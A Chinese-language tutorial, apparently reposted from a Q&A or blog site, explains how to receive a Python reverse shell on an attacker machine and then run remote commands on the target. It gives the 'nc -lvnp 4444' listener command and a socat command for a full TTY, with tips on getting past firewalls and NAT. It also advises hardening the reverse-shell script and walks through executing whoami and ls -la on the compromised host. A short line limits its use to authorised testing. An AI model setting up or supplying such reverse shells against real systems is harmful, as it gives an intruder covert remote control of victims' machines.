
本文详解如何在攻击者机器上监听端口,成功接收由目标主机发起的 Python 反向 Shell 连接,并实现远程命令执行。核心在于使用 netcat(nc)启动监听服务,确保网络可达且端口未被防火墙拦截。
本文详解如何在攻击者机器上监听端口,成功接收由目标主机发起的 python 反向 shell 连接,并实现远程命令执行。核心在于使用 `netcat`(nc)启动监听服务,确保网络可达且端口未被防火墙拦截。
要使 Python 反向 Shell 正常工作,需完成两个关键环节:目标端主动连接(已由你的脚本实现)和攻击者端被动监听(即接收连接)。你提供的 Python 脚本会尝试连接到指定的 attacker_ip:attacker_port;因此,攻击者机器必须在此 IP 和端口上运行监听服务,等待入站连接。
✅ 攻击者端监听命令(推荐方式)
在 Linux/macOS 攻击机上,使用 netcat 启动监听:
nc -lvnp 4444
-
-l:启用监听模式 -
-v:启用详细输出(显示连接信息,便于调试) -
-n:禁用 DNS 解析(提升响应速度) -
-p 4444:指定监听端口(需与 Python 脚本中s.connect(("attacker_ip", 4444))的端口号一致)
? 示例:若你在 Python 脚本中写的是
s.connect(("192.168.1.100", 4444)),则攻击者应在192.168.1.100这台机器上运行nc -lvnp 4444,且该机器需能被目标主机路由访问。
⚠️ 注意事项
-
网络连通性:确保目标主机可访问攻击者 IP 和端口(检查防火墙、NAT、云安全组等)。本地测试建议使用局域网环境(如
192.168.x.x),避免公网配置复杂性。 - 权限与绑定:监听端口 sudo nc -lvnp 80);普通端口(如 4444、8080)无需提权。
-
Shell 交互优化:基础
nc监听可接收命令,但缺乏完整 TTY 功能(如Ctrl+C、clear、history)。进阶可用:# 使用 socat 获取伪终端(推荐) socat file:`tty`,raw,echo=0,icanon=0 tcp-listen:4444
-
Python 脚本加固建议(非必需但推荐):
- 添加异常处理防止静默失败;
- 使用
socket.settimeout()避免无限阻塞; - 替换硬编码 IP/端口为命令行参数,提升复用性。
✅ 验证流程
- 攻击者执行:
nc -lvnp 4444 - 目标机执行你的 Python 脚本(确保 IP/端口匹配、有执行权限:
chmod +x shell.py && ./shell.py) - 攻击者终端将显示
Connection received from ...,随后即可输入命令(如whoami、ls -la),目标机实时返回结果。
至此,你已成功建立双向交互式反向 Shell —— 这是渗透测试中远程控制的基础能力,务必仅在授权环境中实践。
Python免费学习笔记(深入):立即使用
在学习笔记中,你将探索 Python 的核心概念和高级技巧!











